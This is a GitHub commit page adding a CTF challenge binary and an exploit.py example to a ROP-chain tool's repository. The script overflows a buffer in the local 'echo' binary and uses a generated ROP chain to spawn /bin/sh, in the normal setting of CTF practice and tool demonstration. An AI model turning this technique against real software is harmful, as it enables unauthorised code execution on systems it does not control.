Skip to content
This repository has been archived by the owner on Nov 13, 2024. It is now read-only.

Commit

Permalink
add CJ2017 ctf challenges example
Browse files Browse the repository at this point in the history
  • Loading branch information
d4em0n committed Feb 7, 2020
1 parent dc3737b commit bdf1a35
Show file tree
Hide file tree
Showing 2 changed files with 19 additions and 0 deletions.
Binary file added examples/CJ2017_echo/echo
Binary file not shown.
19 changes: 19 additions & 0 deletions examples/CJ2017_echo/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
from pwn import *
import time
from Exrop import Exrop

binname = "echo"
libc = ELF(binname, checksec=False)
bss = libc.bss()

t = time.mktime(time.gmtime())
rop = Exrop(binname)
rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting
print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t))
chain = rop.syscall(0x3b, ("/bin/sh",0,0), bss)
chain.dump()
buf = b"A"*10008
pay = buf + chain.payload_str()
p = process("./echo")
p.sendline(pay)
p.interactive()

0 comments on commit bdf1a35

Please sign in to comment.